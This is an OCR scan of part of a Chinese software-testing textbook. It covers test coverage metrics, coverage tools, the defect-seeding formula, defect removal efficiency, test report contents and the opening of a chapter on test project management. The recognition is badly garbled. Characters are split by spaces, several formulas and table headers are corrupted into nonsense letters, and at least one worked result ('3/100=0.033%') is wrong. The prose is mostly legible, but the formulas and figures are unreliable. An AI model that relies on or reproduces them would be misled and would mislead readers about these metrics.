在 讨论 基于 需求 的 测试 覆盖 评估 之 前 , 先 来 讨论 对 软件 需求 的 估算 。 软 件 需 求 的 估算 
有 利于 对 测试 需求 的 把 握 , 进 一 步 有 利于 测试 覆盖 率 的 估算 。 
假设 在 一 个 规格 设计 说 明 书 中 有 尺 个 需求 ,其 功能 需求 的 数目 为 下 , 非 功能 需求 数 ( 如 
性 能 ) 为 N, 则 R=F 十 N 为 了 确定 需求 的 确定 性 ,一 种 基于 复审 者 对 每 个 需求 解释 的 一 至 
性 的 度量 方法 为 : 
Ql = M/R 
其 中 ,Q1 表示 需求 的 确定 性 ,M 是 所 有 复审 者 都 有 相同 解释 的 需求 数目 。 当 需求 的 模糊 性 
EAI QU 的 值 越 接近 1。 而 功能 需求 的 完整 性 Q2 则 可 以 通过 计算 以 下 比率 获得 : 
Q2 = F,/(N; X N) 
Hp, Fy, 是 唯一 功能 需求 的 数目 , N; 是 由 规格 设计 说 明 书 定义 的 输入 个 数 ,N, 是 被 表示 的 
状态 的 个 数 。Q2 只 是 测度 了 一 个 系统 所 表示 的 必需 的 功能 百分比 ,但 是 它 并 没有 考虑 非 功 
能 需求 。 为 了 把 这 些 非 功能 需求 结合 到 整体 度量 中 以 求 完整 ,必须 考虑 已 有 需求 已 经 被 确 
认 的 程度 。 这 可 以 用 Q3 来 表示 : 
Q3 = F./(F.+F,) 


其 中 ,F. 是 已 经 确认 为 正确 的 需求 的 个 数 ,F,, 是 尚未 被 确认 的 需求 的 个 数 。 


16.2.2 基于 需求 的 测试 覆盖 评估 


基于 需求 的 测试 覆盖 评估 是 依赖 于 对 已 执行 /运行 的 测试 用 例 的 核实 和 分 析 , 所 以 基于 
需求 的 测试 覆盖 评测 就 转化 为 评估 测试 用 例 覆 盖 率 : 测试 的 目标 是 确保 100% 的 测试 用 例 
全 部 成 功 地 执行 。 如 果 这 个 目标 不 可 行 或 不 可 能 达到 , 则 要 根据 不 同 的 情况 制定 不 同 的 测 
试 覆盖 标准 。 主 要 考虑 风险 和 严重 性 、 可 接受 的 覆盖 百分比 。 
在 执行 测试 活动 中 ,评估 测试 用 例 覆 盖 率 又 可 以 分 为 两 类 测试 用 例 覆 盖 率 估算 : 
(1) 确定 已 经 执行 的 测试 用 例 覆 盖 率 , 即 在 所 有 测试 用 例 中 有 多 少 测试 用 例 已 被 执行 。 
假定 T, 已 执行 的 测试 过 程 数 或 测试 用 例 数 ,Rs 是 测试 需求 的 总 数 。 
已 执行 的 测试 覆盖 一 TV/Re 
(2) 确定 成 功 的 测试 覆盖 , 即 执行 时 未 出 现 失 败 的 测试 ,如 没有 出 现 缺 陷 或 意外 结果 的 
测试 ,假定 T, 是 已 执行 的 完全 成 功 、 没 有 缺陷 的 测试 过 程 数 或 测试 用 例 数 。 
成 功 的 测试 覆盖 一 T, /Rn 
在 实际 过 程 中 ,很 难 确定 Rs 的 值 ,可 以 根据 需求 点 、 以 往 经 验 来 估算 。 


16.2.3 基于 代码 的 测试 覆盖 评估 


基于 代码 的 测试 覆盖 评测 是 对 被 测试 的 程序 代码 语句 、 路 径 或 条 件 的 覆盖 率 分 析 , 它 对 
于 安全 至 上 的 系统 来 说 非常 重要 。 如 果 应 用 基于 代码 的 覆盖 , 则 测试 策略 是 根据 测试 已 经 
执行 的 源 代码 的 多 少 来 表示 的 。 测 试 过 程 中 已 经 执行 的 代码 的 多 少 , 与 之 相对 的 是 要 执行 
的 剩余 代码 的 多 少 。 代 码 覆 盖 可 以 建立 在 控制 流 (语句 分支 或 路 径 ) 或 数据 流 的 基础 上 。 
控制 流 覆 盖 的 目的 是 测试 代码 行 、 分 支 条 件 、 代 码 中 的 路 径 或 软件 控制 流 的 其 他 元 素 。 数 据 
流 覆 盖 的 目的 是 通过 软件 操作 测试 数据 状态 是 否 有 效 , 例 如 ,数据 元 素 在 使 用 之 前 是 否 已 经 
定义 。 

基于 代码 的 测试 覆盖 通过 以 下 公式 计算 : 

已 执行 的 测试 覆盖 二 TT./T。。 

其 中 ,T. 是 用 代码 语句 、 条 件 分 支 、 代 码 路 径 、 数 据 状态 判定 点 或 数据 元 素 名 表示 的 已 执行 
m H Xt, T (Total number of items in the code) 是 代码 中 的 项 目 总 数 。 

基于 代码 的 测试 覆盖 评测 一 般 都 是 通过 相应 的 工具 来 完成 , 即 根据 测试 运行 时 所 走 过 
的 程序 路 径 来 计算 测试 的 代码 覆盖 率 ,程序 能 识别 哪些 代码 行 . 哪 些 分 支 或 条 件 、 哪 些 程序 
路 径 等 被 测试 过 ,从 而 根据 整个 程序 的 相应 值 计算 代码 行 分 支 / 条 件 和 路 径 等 测试 覆盖 率 。 
如 使 用 Rational PureCoverage 能 自动 找 出 代码 中 未 经 测试 的 代码 ,获得 代码 测试 覆盖 率 ， 
还 可 针对 每 次 测试 生成 全 面 的 覆盖 率 报告 ,可 以 归并 程序 多 次 运行 所 生成 的 覆盖 数据 ,并 自 
动 比较 测试 结果 ,以 评估 测试 进度 。 还 有 很 多 测试 覆盖 率 分 析 工 具 , 如 : 

。 EMMA: 开源 的 、 面 向 Java 代码 的 测试 覆盖 率 收 集 与 报告 工具 ,如 图 16-1 所 示 。 

。 Clover 是 一 个 基本 的 Java 代码 的 覆盖 测试 分 析 工 具 。 

。 CodeCover 可 以 度量 语句 、 分 支 . 循 环 和 修订 的 条 件 / 判 定 覆 盖 等 各 方面 的 测试 覆盖 

率 , 支 持 Java 和 COBO 两 种 语言 。 
。 Cobertura 是 覆盖 率 分 析 工 具 , 可 以 和 Ant 或 maven 集成 起 来 使 用 。 


EMMA Coverage Report (generated Mon Mar 30 13:04:17 PDT 2009) 


OVERALL COVERAGE SUMMARY 
name class, % method, % | block, % [| line, % 
all classes 100% (1/1) [ox (2/2) [100% (14/14) [100% (676) 
OVERALL STATS SUMMARY 


total packages: 1 
total executable files: 1 
total classes 1 
total nethods 2 
total executable lines: 6 


COVERAGE BREAKDOWN BY PACKAGE 


name class, % method, % block, % line, % 


i 
default package 100% (1/1) 100% (2/2) 100% (14714) 100% (6/6) 


图 16-1 EMMA 覆盖 率 分 析 报 告 


* Coverlipse 作为 Eclipse 的 插件 ,和 JUnit 无 颖 集成 ,完成 Java 单元 测试 覆盖 率 度 
量 , 并 把 结果 导 成 XML 文件。 

。 Jcoverage 用 于 Java 代码 的 覆盖 测试 。 

。 JSCoverage 用 于 度量 JavaScript 程序 的 代码 覆盖 率 的 工具 。 

。 rcov 是 一 个 用 于 诊断 Ruby 代码 覆盖 率 的 工具 。 


16.3 ”基于 缺陷 分 析 的 产品 质量 评估 


质量 是 反映 软件 与 需求 相符 程度 的 指标 ,而 缺陷 被 认为 是 软件 与 需求 不 一 致 的 某 种 表 
现 ,所 以 通过 对 测试 过 程 中 所 有 已 发 现 的 缺陷 进行 评估 ,可 以 了 解 软 件 的 质量 状况 。 也 就 是 
说 ,软件 缺陷 评估 是 评估 软件 质量 的 重要 途径 之 一 ,软件 缺陷 评估 指标 可 以 看 作 是 度量 软件 
质量 的 重要 指标 ,而 且 缺 陷 分 析 也 可 以 用 来 评估 当前 软件 的 可 靠 性 ,并 且 预 测 软件 产品 的 可 
靠 性 变化 ,缺陷 分 析 在 软件 可 靠 性 评估 中 也 起 了 相当 大 的 作用 。 

软件 缺陷 评估 的 方法 相对 比较 多 ,从 简单 的 缺陷 计数 到 严格 的 统计 建 模 , 质 量度 量 的 统 
计 方 法 就 是 一 个 例子 。 通 常 软件 缺陷 评估 模型 假设 缺陷 的 发 现 是 呈 泊 松 分 布 的 , 则 有 关 缺 
陷 率 的 实际 数据 可 以 适用 于 这 一 模型 ,但 更 严格 的 缺陷 评估 要 考察 在 测试 过 程 中 发 现 缺陷 
的 实际 间隔 时 间 。 基 于 缺陷 分 析 的 产品 质量 评估 方法 有 以 下 几 种 : 

。 经 典 的 种 子 公 式 。 

。 基于 缺陷 清除 率 的 估算 方法 。 

”软件 产品 性 能 评估 技术 。 


16.3.1 缺陷 评测 的 基线 


软件 评估 首先 要 建立 基线 ,为 软件 产品 的 质量 设置 起 点 ,在 基线 的 基础 上 再 设置 新 的 目 
标 , 作 为 对 系统 评估 是 否 通过 的 标准 。 


缺陷 评测 的 基线 是 对 某 一 类 或 某 一 组 织 的 结果 的 一 种 度量 ,这 种 结果 可 能 是 常见 的 或 
典型 的 ,如 10 000 行 源 程序 (LOC) 是 程序 规模 的 一 个 基准 ,每 1000 行 代 码 有 3 个 错误 是 测 
试 中 错误 发 现 率 的 基准 。 基 准 对 期 望 值 的 管理 有 很 大 帮助 ,目标 就 是 相对 基准 而 存在 ,也 就 
是 定义 可 接受 行为 的 基准 ,如 表 16-3 所 示 。 


R163 某 个 软件 项 目 基准 和 目标 


条 B A 标 E 水 F 
缺陷 清除 效率 >95% <70% 
原 有 缺陷 密度 每 个 功能 点 4 每 个 功能 点 之 7 
超出 风险 之 外 的 成 本 0% >10% 
全 部 需求 功能 点 二 1% 每 个 月 平均 值 >50% 
全 部 程序 文档 每 个 功能 点 页 数 一 3 每 个 功能 点 页 数 >6 
员工 离职 率 每 年 1%~3% AES 5% 


16.3.2 经 典 的 种 子 公式 


Mills 研究 出 通过 已 知 缺 陷 ( 称 为 种 子 Bug) 来 估计 程序 当中 潜在 的 .未知 的 缺陷 数量 。 
其 基本 前 提 是 将 测试 队伍 分 为 两 个 小 组 ,一 个 小 组 事先 将 已 知 的 共 S 个 Bug( 种 子 ) 安 插 在 
程序 里 ,然后 ,让 另 一 个 测试 小 组 尽 可 能 发 现 程序 的 Bug, 假 如 他 们 发 现 了 ;个 种 子 Bug, W 
认为 存在 这 样 一 个 等 式 : 
已 测试 出 的 种 子 Bug(s) _ 已 测试 出 的 非 种 子 Bug God 
所 有 的 种 子 Bug (S) 全 部 的 非 种 子 Bug (N) 
则 可 以 推出 程序 的 总 Bug BOW : 


N= S*n/s 

其 中 ,n 是 进行 实际 测试 时 发 现 的 Bug 总 数 。 如 果 n= 二 NN, 说 明 所 有 的 Bug 已 找 出 来 ,说 明 
做 的 测试 足够 充分 。 这 种 测试 是 否 充分 ,可 以 用 一 个 信心 指数 来 表示 , 即 用 一 个 百分比 表 
示 , 值 越 大 ,说 明 对 产品 质量 的 信心 越 高 ,最 大 值 为 1。 

f= 1 n>N 

j =S/(S—N+1) n<N 

但 是 这 种 假定 本 身 的 可 能 性 就 比较 小 ,因为 种 子 Bug 很 难 具 有 完全 的 代表 性 ,根据 相 

似 系统 确定 的 Bug 其 结果 可 能 差别 很 大 。 另 外 ,人 为 设置 程序 的 Bug, 这 工作 本 身 就 比较 困 
难 , 要 将 正确 的 程序 改 为 错误 的 程序 ,会 引起 其 他 的 一 些 问 题 , 即 插入 一 个 缺陷 可 能 会 引起 
2 一 3 个 缺陷 ,而 且 缺 陷 相 互 之 间 可 能 存在 相互 影响 或 有 关联 关系 ,虽然 事先 设 定 插 入 20 个 
种 子 Bug, 但 可 能 在 程序 中 实际 插入 了 26,27 个 种 子 Bug, 所 以 按照 上 述 计算 公式 得 到 的 结 
果 就 不 准确 。 


16.3.3 基于 缺陷 清除 率 的 估算 方法 


先 引 入 几 个 变量 ,FF 为 描述 软件 规模 用 的 功能 点 ; D1 为 在 软件 开发 过 程 中 发 现 的 所 有 
缺陷 数 ; D2 为 软件 发 布 后 发 现 的 缺陷 数 ; D 为 发 现 的 总 缺陷 数 。 因 此 ,D= D1 十 D2。 
对 于 一 个 应 用 软件 项 目 , 则 有 如 下 计算 方程 式 ( 从 不 同 的 角度 估算 软件 的 质量 ): 


。 质量 ==D2/F; 

。 缺陷 注入 率 王 D/F; 

。 整体 缺陷 清除 率 王 D1/D; 

假如 有 100 个 功能 点 , 即 下 王 100 ,而 在 开发 过 程 中 发 现 了 20 个 错误 ,提交 后 又 发 现 了 3 
个 错误 , 则 : D1=20,D2=3,D=D1+D2=23 

。 RE ED) FEA BY RG BO = D2/F =3/100=0. 033%) 

。 SRIGTE A =D/F=20/100=0. 20(20%) 

。 AAS HR BT BR = D1/D=20/23=0, 8696 (86. 96%) 

有 资料 统计 ,美国 的 平均 整体 缺陷 清除 率 目前 只 达到 大 约 85% ,而 对 一 些 具有 良好 的 
管理 和 流程 的 著名 软件 公司 ,其 主流 软件 产品 的 缺陷 清除 率 可 以 超过 98%。 

众所周知 ,清除 软件 缺陷 的 难 易 程度 在 各 个 阶段 也 是 不 同 的 。 需 求 错误 .规格 说 明 、 设 
计 问 题 及 错误 修改 是 最 难 清除 的 ,如 表 16-4 所 示 。 


表 16-4 不 同 缺陷 源 的 清除 效率 


tk 陷 源 潜在 缺陷 清除 效率 (%) 被 交付 的 缺陷 
需求 报告 1.00 77 0. 23 
设计 1, 25 85 0.19 
编码 1,75 95 0,09 
文档 0. 60 80 0.12 
错误 修改 0. 40 70 0.12 
合计 5. 00 85 0.75 


表 16-5 反映 的 是 CMM 五 个 等 级 是 如 何 影响 软件 质量 的 ,其 数据 来 源 于 美国 空军 1994 
年 委托 SPR( 美 国 一 家 著名 的 调查 公司 ) 进 行 的 一 项 研究 。 从 表 中 可 以 看 出 ,CMM 级 别 越 
表 16-5 SEI CMM 级 别 潜在 缺陷 与 清除 效率 


SEI CMM 级 别 潜在 缺陷 清除 效率 (%) 被 交付 的 缺陷 
1 5. 00 85 0.75 
2 4.00 89 0.44 
3 3. 00 91 0.27 
4 2.00 93 0.14 
5 1. 00 95 0.05 


16.3.4 软件 产品 性 能 评估 


软件 产品 性 能 评估 其 技术 性 相对 比较 强 ,方法 的 基础 是 获取 与 性 能 表现 相关 的 数据 ,如 
响应 时 间 ,数据 吞吐 量 ,数据 流 速率 、 操 作 可 靠 性 等 。 性 能 评测 一 般 和 测试 的 执行 结合 起 来 
做 ,或 者 是 在 执行 测试 时 记录 、 保 存 各 种 数据 ,然后 在 评估 测试 活动 中 计算 结果 。 主 要 的 性 
能 评测 包括 : 

(1) 动态 监测 : 在 测试 执行 过 程 中 ,实时 获取 并 显示 正在 监测 指标 的 状态 数据 ,通常 以 
柱状 图 或 曲线 图 的 形式 提供 实时 显示 ,来 监测 或 评估 性 能 测试 执行 情况 。 


(2) 响应 时 间 / 吞 吐 量 : 测试 对 象 针对 特定 条 件 下 某 个 要 测量 特性 的 相关 的 性 能 行为 ， 
用 响应 时 间或 吞吐 量 来 进行 量化 评测 。 这 些 报告 通常 用 曲线 图 .统计 图 来 表示 。 

(3) 百分比 报告 : 即 对 已 收集 数据 的 百分比 评测 和 计算 。 

(4) 比较 报告 : 比较 不 同性 能 测试 的 结果 ,以 评估 测试 执行 过 程 之 间 所 做 的 变更 对 性 
能 行为 的 影响 ,从 而 进一步 分 析 不 同 测试 执行 情况 的 多 个 数据 集 之 间 的 差异 或 趋势 。 

(5) 追踪 报告 : 当 性 能 行为 可 以 接受 时 或 性 能 监测 表明 存在 可 能 的 瓶颈 时 ,追踪 报告 
可 能 是 最 有 价值 的 报告 。 追 踪 和 配置 文件 报告 显示 低级 信息 。 该 信息 包括 主角 与 测试 对 象 
之 间 的 消息 ,执行 流 、 数 据 访问 以 及 函数 和 系统 调用 等 。 


16.4 测试 报告 的 具体 内 容 


在 国家 标准 GB/T 17544 一 1998 中 对 测试 报告 做 了 具体 要 求 ,也 就 是 对 测试 对 象 (软件 
程序 ,系统 .产品 等 ) 有 一 个 清楚 的 描述 ,对 测试 记录 测试 结果 如 实 汇总 分 析 ,报告 出 来 。 测 
试 报告 应 具有 如 下 结构 : 

A) 产品 标识 ; 

(2) 用 于 测试 的 计算 机 系统 ; 

(3) 使 用 的 文档 及 其 标识 ; 

(4) 产品 描述 、 用 户 文档 ,程序 和 数据 的 测试 结果 ; 

(5) 与 要 求 不 符 的 清单 ; 

(6) 针对 建议 的 要 求 不 符 的 清单 ,产品 未 作 符 合 性 测试 的 说 明 ， 

(7) 测试 结束 日 期 。 

主要 内 容 集 中 在 第 四 项 内 容 , 即 产品 描述 、 用 户 文档 ,程序 和 数据 的 测试 结果 。 在 产品 
描述 中 提供 关于 用 户 文档 ,程序 以 及 数据 (如 果 有 的 话 ) 的 信息 ,其 信息 描述 应 该 是 正确 的 、 
清楚 的 ,前 后 一 致 的 ,容易 理解 的 完整 的 并 且 易 于 浏览 的 。 更 重要 的 是 ,在 测试 报告 中 , 产 
品 的 描述 是 和 测试 的 内 容 有 着 相对 应 的 关系 ,也 就 是 说 产品 描述 还 要 包含 功能 说 明 可靠 性 
说 明 、 易 用 性 说 明和 效率 、 可 维护 性 、 可 移植 性 说 明 ,特别 在 功能 说 明 中 ,不 仅 需要 概述 产品 
的 用 户 可 调用 功能 、 需 要 的 数据 等 ,而 且 将 系统 相应 的 边界 值 ` 安 全 性 要 求 描述 清楚 。 对 易 
用 性 说 明 中 要 包括 对 用 户 界面 .所 要 求 的 知识 .适应 用 户 的 需要 、 防 止 侵权 行为 、 使 用 效率 和 
用 户 满意 度 等 的 要 求 。 

对 于 用 户 文档 ,测试 的 标准 比较 清楚 ,就 是 完整 性 、 正 确 性 、 一 致 性 、. 易 理解 性 和 易 浏 览 
性 。 对 于 程序 和 数据 的 测试 ,需要 从 功能 、 可 靠 性 、 易 用 性 和 效率 、 可 维护 性 、 可 移植 性 等 方 
面 进行 测试 ,并 在 报告 中 反映 出 来 。 对 前 3 项 测试 结果 ,要 求 更 高 些 , 即 : 

(1) 功能 性 ,包括 安装 、 功 能 表现 ,以 及 功能 使 用 的 正确 性 .一致 性 。 

(2) 可 靠 性 ,系统 不 应 陷入 用 户 无 法 控制 的 状态 , 既 不 应 崩溃 也 不 应 丢失 数据 。 即 使 在 
下 列 情况 下 也 应 满足 可 靠 性 要 求 : 

。 使 用 的 容量 到 达 规 定 的 极限 ; 

。 企图 使 用 的 容量 超出 规定 的 极限 ; 

。 由 产品 描述 中 列 出 的 其 他 程序 或 用 户 造成 的 错误 输入 ; 

。 用 户 文档 中 明确 规定 的 非法 指令 。 


a 


(3) 易 用 性 包括 易 理 解 性 、 易 浏览 性 、 可 操作 性 3 个 方面 。 
关于 测试 报告 的 具体 内 容 , 可 参考 附录 E。 


小 结 


代码 和 相应 的 文档 是 开发 人 员 的 主要 工作 成 果 , 作 为 软件 测试 人 员 ,其 主要 成 果 就 是 提 
交 一 份 数据 准确 、 信 息 充 分 .分 析 透 彻 的 测试 报告 或 质量 报告 。 为 了 提交 这 样 一 份 报告 , 需 
要 对 测试 进行 全 面 的 评估 ,就 是 要 对 已 做 过 的 测试 和 测试 结果 等 方面 进行 评估 。 概 括 起 来 ， 
就 是 软件 测试 覆盖 评估 和 测试 结果 的 质量 分 析 : 

(1) 测试 覆盖 是 对 测试 完全 程度 的 评测 , 它 建 立 在 测试 覆盖 基础 上 ,测试 覆盖 是 由 测试 
需求 和 测试 用 例 的 覆盖 或 已 执行 代码 的 覆盖 表示 的 。 

(2) 质量 分 析 是 对 测试 对 象 (被 测 系统 或 软件 产品 ) 的 可 靠 性 ,稳定 性 以 及 性 能 的 评测 。 
质量 建立 在 对 测试 结果 的 评估 和 对 测试 过 程 中 变更 请 求 分 析 的 基础 上 。 

从 广义 上 说 ,测试 覆盖 不 仅 是 对 测试 的 量化 分 析 , 而 且 对 已 经 完成 的 测试 过 程 进行 审 
查 \ 评 估 , 包 含 审 查 测试 计划 、 测 试用 例 、 测 试 环境 和 测试 用 例 的 执行 情况 ,看 是 否 有 漏洞 下 
忽 的 地 方 ,如 果 有 ,需要 及 时 补救 。 

软件 测试 和 质量 分 析 报 告 的 依据 就 是 产品 规格 说 明 书 、 系 统 设计 文档 ,测试 计划 书 和 对 
实际 系统 的 测试 数据 ,重点 集中 在 缺陷 历史 数据 的 分 析 之 上 。 通 过 缺陷 分 析 , 了 解 测试 的 进 
程 .产品 质量 的 当前 状况 ,可 以 判断 软件 主要 问题 在 哪些 模块 或 什么 主要 原因 引起 相应 的 问 
题 。 软 件 质量 度量 和 分 析 ,不 仅 可 以 帮助 写 出 高 质量 的 测试 报告 ,同时 可 以 帮助 开发 人 员 解 
决 问题 ,帮助 产品 管理 人 员 做 出 是 否 发 布 产品 的 决定 。 


思考 题 


1. McCall 的 质量 因素 是 在 20 世纪 70 年 代 提出 的 ,自从 被 提出 来 后 几乎 计算 的 每 个 方 
面 改 动 都 很 大 ,但 是 , McCall 的 因素 被 继续 应 用 到 现代 软件 。 根 据 这 个 事实 能 得 出 什么 
结论 ? 

2. 为 什么 没有 一 个 单一 的 、 全 包容 的 对 程序 复杂 度 或 程序 质量 的 度量 ? 

3. 软件 缺陷 分 析 还 有 哪些 方法 ? 

4. 开发 一 个 小 型 的 软件 工具 用 来 对 软件 缺陷 进行 趋势 分 析 , 计 算出 测试 效率 和 修复 
Bug 的 效率 。 

5. 基于 需求 的 测试 覆盖 评估 和 基于 代码 的 测试 覆盖 评估 , 哪 一 种 方法 更 有 效 ? 

6. 如 何 设计 一 套 基于 经 验 的 产品 质量 评估 方法 ? 


CHAPTER 17 
#175 


软件 测试 项 目 管 理 


美国 项 目 管理 研究 所 (Project Management Institute. PMI) iA 
为 ,项 目 管理 是 在 项 目 活 动 中 运用 一 系列 的 知识 .技能 .工具 和 技术 ， 
以 满足 并 超过 相关 利益 者 对 项 目的 要 求 和 期 望 。 它 实际 指出 了 项 目 
管理 涉及 的 范畴 和 需要 达到 的 目标 。 使 项 目 顺利 进行 并 达到 预期 的 
效果 ,这 就 是 项 目 管理 所 应 该 实现 的 基本 目标 。 那 么 ,软件 项 目 管理 
的 目标 就 是 为 了 使 软件 项 目 能 够 按照 预定 的 成 本 、 进 度 、 质 量 顺利 完 
成 ,而 对 成 本 、 资 源 、 进 度 、 质 量 、 风 险 等 进行 分 析 和 控制 的 活动 。 

对 于 软件 测试 项 目 管理 ,在 概念 上 和 一 般 项 目 管理 没有 区 别 , 但 
所 管理 的 具体 内 容 、 所 采用 的 具体 技术 和 工具 是 不 同 的 ,而 且 关 注 点 
也 不 一 样 。 软 件 测试 项 目的 管理 ,始终 将 质量 放 在 第 一 ,所 有 管理 工 
作 都 围绕 提高 产品 质量 而 展开 ,防范 测试 中 所 存在 的 各 种 风险 ,密切 
跟踪 和 分 析 缺 陷 , 最 终 保证 在 合理 的 成 本 和 进度 控制 下 ,完成 所 有 的 
测试 工作 ,发 布 满足 用 户 要 求 和 期 望 的 ,可 维护 的 、 高 质量 的 软件 产 
品 。 软 件 测试 项 目 管理 的 内 容 集 中 在 以 下 几 个 方面 : 

。 软件 项 目的 测试 过 程 管理 ,包括 软件 项 目的 测试 计划 ,测试 用 

例 设计 ,测试 执行 ,测试 结果 的 审查 和 分 析 等 过 程 ; 
。 软件 自动 化 解决 方案 和 实施 ,包括 各 种 测试 工具 的 选择 和 
应 用 ; 

。 软件 项 目的 测试 资源 分 配 和 进度 控制 ; 

。 软件 测试 工作 和 产品 质量 的 风险 评估 和 控制 ; 

。 软件 版 本 定义 ,测试 范围 变化 的 控制 等 ; 

。 软件 构建 和 发 布 等 监控 。 

本 章 将 分 别 介 绍 、 讨 论 和 阐述 测试 项 目 管理 的 各 个 内 容 ,希望 读 
者 通过 本 章 的 学 习 , 掌 握 测 试 项 目 管理 的 思想 .特点 ,方法 和 技巧 。 


17.1 测试 项 目 管理 的 特点 


软件 测试 项 目 管理 基本 过 程 就 是 计划 、 组 织 和 监控 ,而 管理 的 内 
容 包 括 测试 范围 资源. 时间 ( 进 度 )、 风险、 成 本 、 质 量 沟通 和 综合 等 。 


软件 测试 方法 和 技术 (第 2 版 ) 

软件 项 目 管理 中 最 突出 的 就 是 在 产品 功能 和 质量 .时 间 和 成 本 之 间 获 得 最 佳 平衡 ,如 图 17-1 
所 示 。 在 一 个 项 目 中 ,一 般 说 某 项 是 确定 的 ,其 他 两 项 是 可 变 的 ,这 样 ,就 可 控制 不 变 项 ,对 
可 变 项 采取 措施 ,保证 项 目 达到 预期 效果 。 例 如 ,产品 功能 多 (任务 大 ), 则 需要 有 足够 的 时 
间 和 成 本 投入 去 保证 产品 。 但 同时 市 场 决定 产 
品 ,时 间 受到 严格 限制 ,这 时 如 果 要 保证 产品 的 功 
能 得 到 完整 的 实现 ,就 必须 有 足够 的 人 力 投入 , 增 
大 成 本 。 如 果 成 本 也 受到 限制 ,就 不 得 不 减少 功 
能 ,实现 产品 的 主要 功能 。 

软件 测试 项 目 管理 ,贯穿 整个 软件 开发 生命 
周期 ,包括 测试 项 目 启动 .计划 .设计 .实施 和 结束 
等 各 个 阶段 的 管理 。 它 一 方面 继承 了 软件 项 目 管 
理 的 共性 , 另 一 方面 也 具有 软件 测试 自身 的 独 有 
特点 ,下 面 就 来 分 析 一 下 哪些 是 软件 测试 项 目 管 图 17-1 项 目 管理 的 实质 
理 的 特点 。 

(1) 软件 测试 总 是 存在 风险 ,难以 定义 清晰 的 目标 ,如 何 确定 什么 时 候 软件 测试 可 以 结 
束 , 找 不 到 严重 的 缺陷 并 不 代表 软件 不 存在 严重 的 缺陷 。 这 对 软件 测试 项 目的 风险 管理 次 
源 估算 等 提出 更 高 的 要 求 。 

(2) 软件 测试 项 目的 变化 控制 和 预警 分 析 要 求 更 高 。 软 件 需求 变化 多 是 软件 项 目的 最 
显著 特点 ,而 需求 变化 又 会 导致 对 系统 设计 、 程 序 代码 等 进行 相应 的 修改 ,在 修改 过 程 中 又 
可 能 产生 新 的 缺陷 ,而 结果 受 影响 最 大 的 是 软件 测试 。 软 件 设计 和 编程 被 拖延 ,同时 ,产品 
发 布 的 时 间 往 往 不 能 变动 ,结果 只 能 压缩 测试 时 间 。 所 以 ,测试 管理 需要 更 密切 关注 需求 和 
设计 的 变更 ,及 时 进行 预警 报告 。 

(3) 软件 测试 管理 要 求 更 严格 和 细致 。 程 序 设计 ,编码 等 出 现 问题 ,有 测试 人 员 去 把 
关 。 如 果 测 试 人 员 的 责任 心 不 高 ,有 些 严重 问题 没 能 被 及 时 发 现 而 漏 掉 , 最 终 会 遗留 到 客户 
那里 。 要 保证 质量 ,需要 每 个 人 都 要 把 事情 做 好 ,任何 一 个 人 的 失职 ,都 可 能 对 客户 使 用 产 
品 造成 很 大 影响 。 

(4) 测试 任务 的 分 配 难 ,比如 集成 测试 .功能 测试 和 验收 测试 等 关联 比较 大 ,但 要 求 的 
技术 不 同 ,不 容易 分 离 ,任务 边界 模糊 ,难以 隔离 。 

O) 测试 对 人 员 稳定 有 更 高 要 求 。 由 于 软件 测试 不 仅 是 一 个 技术 工作 ,而 且 要 求 测试 
人 员 能 够 全 面 理解 产品 的 功能 特性 ,对 产品 各 个 部 分 能 够 融会 贯通 。 对 于 新 加 入 的 人 员 很 
难 在 比较 短 的 时 间 内 达到 这 样 的 水 平 。 

(6) 软件 测试 人 员 可 能 在 待遇 、 地 位 方面 受到 一 些 不 公正 的 待遇 ,但 同时 又 要 求 测试 人 
员 具 有 让 富 的 工作 经 验 、 良 好 的 心理 素质 和 责任 心 。 所 以 ,在 软件 测试 项 目 管理 中 ,在 人 才 
激励 和 团队 管理 问题 上 应 给 予 高 度 的 重视 。 

由 此 可 见 ,软件 测试 项 目的 管理 的 好 坏 对 产品 质量 影响 更 直接 而 且 更 富有 挑战 性 ,因此 
要 加 强 质 量 管理 、 人 力 资源 管理 ,沟通 管理 和 风险 管理 等 ，。 

软件 测试 项 目的 过 程 管 理 能 否 成 功 ,通常 受到 3 个 核心 层面 的 影响 , 即 项 目 组 内 环境 、 
项 目 所 处 的 组 织 环境 、 整 个 开发 流程 的 全 局 环境 。 这 些 环境 要 素 直接 关系 到 软件 项 目的 可 
控 性 ,这 要 依赖 于 所 选择 的 组 织 管理 模型 .软件 开发 过 程 模型 .项 目 管理 系统 平台 ,组织 支撑 


环境 和 其 他 管理 工具 等 。 


17.2 如何 做 好 测试 项 目 管理 


软件 测试 是 软件 质量 保证 的 重要 环节 之 一 ,也 是 软件 开发 最 基本 的 组 成 部 分 。 要 管理 
好 软件 测试 项 目 ,首先 要 制定 好 测试 管理 流程 和 测试 规范 ,明确 定义 测试 过 程 中 各 种 活动 、 
技术 标准 ,度量 指标 和 相应 的 文档 模板 。 其 次 ,要 有 正确 的 管理 方法 ,包括 对 风险 .进度 和 质 
量 的 管理 。 最 后 ,在 规范 的 测试 流程 和 客观 的 评价 标准 基础 之 上 ,从 软件 测试 项 目的 人 员 角 
色 和 责任 ,畅通 的 交流 渠道 .完善 的 奖惩 体系 等 各 方面 着 手 , 提 高 测试 团队 的 作战 能 力 。 

1. 测试 项 目 管理 的 原则 

(1) 可 靠 的 需求 。 测 试 的 需求 是 经 各 方 一 致 同意 的 .可 实现 的 并 在 文档 中 清楚 地 完整 
地 和 详细 地 描述 的 。 

(2) 能 够 适应 开发 过 程 模型 。 例 如 , 当 采 用 快速 开发 模型 或 敏捷 方法 时 ,为 了 能 够 应 对 
需求 的 变化 , 面 对 频 繁 的 软件 发 布 ,测试 人 员 需 要 和 开发 人 员 同步 工作 ,并 尽力 实现 自动 化 
测试 。 

(3) 充分 测试 和 尽早 开始 测试 。 每 次 改 错 或 变更 后 ,不 仅 要 测试 修改 的 地 方 ,而 且 应 该 
进行 足够 的 回归 测试 。 

(4) 合理 的 时 间 表 。 为 测试 设计 执行. 变更 后 再 测试 以 及 测试 结果 分 析 等 留 出 足够 的 
时 间 ,进行 周密 计划 ,不 应 使 用 突击 的 办 法 来 完成 项 目 。 

(5) 充分 沟通 。 不 仅 在 测试 团队 内 部 做 好 沟通 ,而 且 要 与 开发 人 员 产品 经 理 、 市 场 人 
员 其 至 客户 等 进行 有 效 沟通 ,并 采用 合适 的 通信 手段 ,如 电话 、 即 时 消息 (IM) 、 远 程 在 线 会 
议 系 统 和 电子 邮件 等 。 

(6) 基于 数据 库 的 测试 管理 系统 ,通过 这 个 系统 有 效 地 管理 测试 计划 测试 用 例 .测试 
任务 .缺陷 和 测试 报告 等 ,确保 及 时 的 管理 和 良好 的 协作 。 

